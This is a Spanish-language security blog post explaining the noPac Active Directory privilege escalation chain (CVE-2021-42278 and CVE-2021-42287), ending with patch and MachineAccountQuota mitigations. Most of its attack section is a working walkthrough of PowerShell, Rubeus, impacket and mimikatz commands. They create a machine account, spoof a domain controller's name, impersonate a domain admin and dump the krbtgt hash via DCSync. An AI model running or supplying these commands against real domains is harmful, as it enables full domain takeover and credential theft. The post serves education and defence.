Explotación de CVE-2021-42278 y CVE-2021-42287 para ownear el DA con cualquier usuario de dominio

En medio de la tormenta #Log4Shell hay una cadena de vulnerabilidades (NoPaC, sAMAccountName) que está pasando algo desapercibida pero mediante la cual cualquier persona dentro de la red podría usar para ownear un DC. Hablamos de CVE-2021-42287 y CVE-2021-42278...

Para explicarlo vamos a partir de la premisa de que Kerberos (y otros paquetes de autenticación) por diseño cuando no encuentran una cuenta de usuario vuelven a intentarlo agregando un $ para determinar si la cuenta es una cuenta de computadora/equipo o una cuenta de usuario, porque sabéis que los dominios de Windows almacenan nombres de cuentas de equipo con un $.

Y ya sabéis también que en el proceso de autenticación de Kerberos requiere un TGT (Ticket Granting Ticket) cuando se solicita un Ticket de servicio o TGS (Ticket Granting Service). El tema es que si por ejemplo Pepito obtiene un TGT y el usuario Pepito es eliminado o renombrado después, al usarlo para solicitar un ticket de servicio de otro usuario (el llamado S4U2self) provocará que el KDC busque pepito$ en la base de datos del AD, como recién comentamos.

Seguro que ya habéis visto la jugada... un atacante renombra la cuenta de equipo con el nombre del controlador de dominio (dc$) y cuando usa el TGT modifica el nombre de usuario, de modo que la respuesta (TGS_REP) al no encontrar la cuenta de usuario devolverá el ticket de servicio para la cuenta de equipo, es decir, para el controlador de dominio spoofeado...

El problema es que ni se comprueba el PAC (Privilege Attribute Certificate) ni hay ninguna otra validación que verifique que las cuentas que tienen un $ al final de su nombre (es decir, el atributo sAMAccountName) son de equipo. Esa sería la vulnerabilidad CVE-2021-42278 que en combinación con la del engaño al KDC, la CVE-2021-42287, permite a cualquier atacante hacerse pasar por cuentas de controlador de dominio.

El único prerequisito es que hay que tener permiso de escritura para el atributo sAMAccountName. Sin embargo, por defecto los usuarios normales en el dominio pueden crear 10 cuentas de equipo (MachineAccountQuota), y el creador tiene permisos de escritura para las cuentas de equipo y, por supuesto, estos dos atributos se pueden cambiar. Las combinaciones perfectas.

El ataque completo

Primero necesitaréis las siguientes herramientas en vuestra arsenal para llevar acabo el ataque paso a paso:


1. El atacante crea un objeto computer (cuenta de equipo o computadora) utilizando esos permisos con una contraseña que conoce.

Windows:
$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
New-MachineAccount -MachineAccount "ControlledComputer" -Password $password -Domain "cve.lab" -DomainController "DC01.cve.lab" -Credential $Creds  -Verbose


Linux:
addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'

Después de eso, borra el atributo ServicePrincipalName en dicho objeto.

Windows:
Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=CVE,DC=LAB" -Clear 'serviceprincipalname' -Server dc01.cve.lab -Credential $Creds -Domain cve.lab -Verbose

Linux:
addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController

Como veis, debido a que el atacante creó el objeto (CREATOR OWNER), se le otorgan permisos adicionales y puede hacer muchos cambios en dicho objeto.

2. Ahora cambia el SamAccountName del objeto por el nombre de cualquier controlador de dominio sin el $ al final (DC1). Por defecto, cada cuenta de equipo usa esto como el último carácter del SamAccountName ($DC1). Active Directory no comprueba este comportamiento y permite cambiar el nombre. Este es CVE-2021-42278.

Windows:
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DC01" -Attribute samaccountname -Credential $Creds -Domain cve.lab -DomainController dc01.cve.lab -Verbose

Linux:
renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'

3. Ahora se solicita un TGT de Kerberos para la cuenta "DC01" utilizando la contraseña que se utilizó para crear la cuenta de equipo. Se crea el TGT de Kerberos y se debe guardar para los siguientes pasos.

Windows:
. "$($env:USERPROFILE)\Downloads\Rubeus-pac\Rubeus\bin\Debug\Rubeus.exe" asktgt /user:"DC01" /password:"ComputerPassword" /domain:"cve.lab" /dc:"DC01.cve.lab" /outfile:kerberos.tgt.kirbi

Linux:
getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'

4. Después de que tenemos el TGT, ahora se cambia el SamAccountName del objeto al valor original Computer$.

Windows:
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer$" -Attribute samaccountname -Credential $Creds -Domain cve.lab -DomainController dc01.cve.lab -Verbose

Linux:
renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'

5. Usando el TGT, después se solicita un TGS para el ldap/SPN del controlador de dominio, usando S4U para la cuenta de un administrador del dominio. Como ya no hay ninguna cuenta con samAccountName DC01, el KDC intenta encontrar algo similar y agrega el caracter $. Dado que este es un objeto de equipo o computadora válido, el controlador de dominio, y tiene los permisos necesarios para obtener un TGS para el Administrador de dominio, el KDC devuelve las "llaves del reino". En este paso hemos engañado al KDC (CVE-2021-42287).

Windows:
Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]

Linux
KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'

Ya después por ejemplo si añadimos otro TGS adicional para cifs/DC01 podremos acceder a la unidad raíz del sistema a través de la red.

Windows
. "$($env:USERPROFILE)\Downloads\Rubeus-pac\Rubeus\bin\Debug\Rubeus.exe" s4u /self /impersonateuser:"Administrator" /altservice:"cifs/DC01.cve.lab" /dc:"DC01.cve.lab" /ptt /ticket:kerberos.tgt.kirbi

O hacer un dcsync:

Windows:
(mimikatz) lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt

Linux:
KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'

Demo

Como veis es fácil y sencillo ejecutar y superar cada uno de los pasos del ataque, pero es más aún (y más de scriptkiddies) si usamos herramientas que aglutinan todos los pasos. Por ej. https://github.com/Ridter/noPac


Parchea!

Ambas vulnerabilidades fueron solventadas con los parches de Microsoft publicados el 9 de noviembre (KB5008602 y KB5008380).. así qué queréis que os diga ;)

También es posible configurar el MAQ del dominio AD a 0 a través de la herramienta de edición ADSI del controlador de dominio para interrumpir la cadena de explotación de esta vulnerabilidad.

Fuentes:
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#solving-a-sensitive-problem
https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/
https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing#cve-2021-42287-kdc-bamboozling


Comentarios